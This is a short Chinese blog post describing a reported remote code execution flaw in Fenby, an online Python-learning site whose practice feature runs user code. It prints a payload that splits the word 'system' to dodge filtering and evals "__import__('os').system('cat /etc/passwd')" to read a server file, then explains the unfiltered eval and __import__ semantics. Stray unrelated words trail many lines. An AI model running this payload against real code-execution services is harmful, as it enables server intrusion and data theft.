今天在wooyun裏看到一個有意思的漏洞。說它有意思,第一是思路很特別,固然也是由於安全作的很low,第二里面使用的python的poc有個小細節,特此分享一下。python
網站叫Fenby網,主要是爲了pythoner在線學習的,它有一個在線練習的功能,能夠輸入代碼,而後執行,測試運行結果。。。安全
因而樓主就註冊了一個帳號,URL:http://www.fenby.com/course/units/xxxx ide
而後輸入以下一段惡意代碼:學習
import string s = ["s","y","s","t","e","m"] s = "".join(s) cmd = "cat /etc/passwd" code = "__import__('os')." + s + "('" + cmd + "')" eval(code)
因而就這樣了。。。測試
這裏我想說兩點,第一形成漏洞的緣由是沒有過濾eval,第二代碼裏使用的import和__import__的不一樣。網站
import實際上是調用的__import__可是若是直接寫成 code = "__import__('package.module')",它的意思就不是說:import package.module as packagespa
When the name variable is of the form package.module
, normally, the top-level package (the name up till the first dot) is returned, not the module named by name.code